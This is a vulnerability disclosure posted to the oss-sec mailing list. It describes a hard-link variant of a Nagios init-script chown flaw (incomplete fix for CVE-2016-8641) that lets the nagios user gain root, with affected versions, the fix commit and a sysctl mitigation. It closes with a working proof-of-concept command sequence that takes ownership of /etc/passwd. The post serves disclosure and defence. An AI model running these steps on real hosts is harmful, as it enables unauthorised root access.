oss-sec mailing list archives

CVE request: Nagios: Incomplete fix for CVE-2016-8641


From: Michael Orlitzky <michael () orlitzky com>
Date: Fri, 30 Dec 2016 13:37:37 -0500

Author: Michael Orlitzky (michael () orlitzky com)
Software Name: Nagios
Vendor Name: Nagios Enterprises, LLC
Type of vulnerability: root privilege escalation
Reported to vendor: 2016-12-26

Exploit Vector
--------------
The init script for Nagios calls "chown" on a path under the control of
Nagios's (usually restricted) user. CVE-2016-8641 describes an attack
wherein that restricted user replaces the aforementioned path with a
symlink. The root user (via the init script) will -- the next time
Nagios is started -- give ownership of the symlink's target to Nagios's
user. In that manner, the restricted Nagios user can gain root.

An identical attack not addressed by CVE-2016-8641 works with hard
links. As long as no special kernel protections are in place, the
restricted Nagios user can replace the path (in the directory he
controls) by a hard-link. The call to "chown" in the init script affects
the target of that hard link.


Attack outcome
--------------
The restricted Nagios user gains control of any file on the same
filesystem as its runtime directory.


Affected versions
-----------------
Versions 4.2.2 and older are affected by the symlink attack of
CVE-2016-8641; those and newer versions, up to the current version
4.2.4, are affected by the hard-link attack.


Source code
-----------
The fix for CVE-2016-8641 is contained in the following commit, which
prohibits "chown" from following symlinks only (via the --no-dereference
flag):

https://github.com/NagiosEnterprises/nagioscore/commit/f2ed227673d3b2da643eb5cad26b2d87674f28c1


Mitigation
----------
The creation of the problematic hard link is blocked if the user has the
fs.protected_hardlinks sysctl enabled. It is *not enabled* by default in
the vanilla Linux kernel, but some distributions patch that default.

It can be enabled with (as root):

  sysctl -w fs.protected_hardlinks=1

The grsecurity patches for the Linux kernel provide similar protection
when CONFIG_GRKERNSEC_LINK=y.


Exploit
-------

The following commands should grant ownership of /etc/passwd to the new,
restricted "nagios" user. Beware that in order for the attack to work,
some important (but non-default) sysctls are disabled. The two paths
/etc/passwd and /usr/local/nagios must live on the same filesystem.
Afterwards you should re-enable the two sysctls (if they were enabled to
begin with), clean up /usr/local, and remove the "nagios" user.

  sudo mkdir -p /usr/local/tmp \
                /usr/local/etc/init.d \
                /usr/local/etc/apache2
  sudo chmod 777 /usr/local/tmp

  wget
https://github.com/NagiosEnterprises/nagioscore/archive/release-4.2.4.tar.gz
  tar -xf release-4.2.4.tar.gz
  rm release-4.2.4.tar.gz
  cd nagioscore-release-4.2.4
  sudo useradd nagios -m -d /home/nagios
  ./configure --with-nagios-user=nagios \
              --with-temp-dir=/usr/local/tmp \
              --with-init-dir=/usr/local/etc/init.d \
              --with-httpd-conf=/usr/local/etc/apache2
  make all
  sudo make install
  sudo make install-config
  sudo make install-init
  sudo sysctl -w kernel.grsecurity.linking_restrictions=0
  sudo sysctl -w fs.protected_hardlinks=0

  sudo -u nagios -s
  ln -f /etc/passwd /usr/local/nagios/var/nagios.log
  exit

  sudo /usr/local/etc/init.d/nagios start
  ls /etc/passwd


Current thread: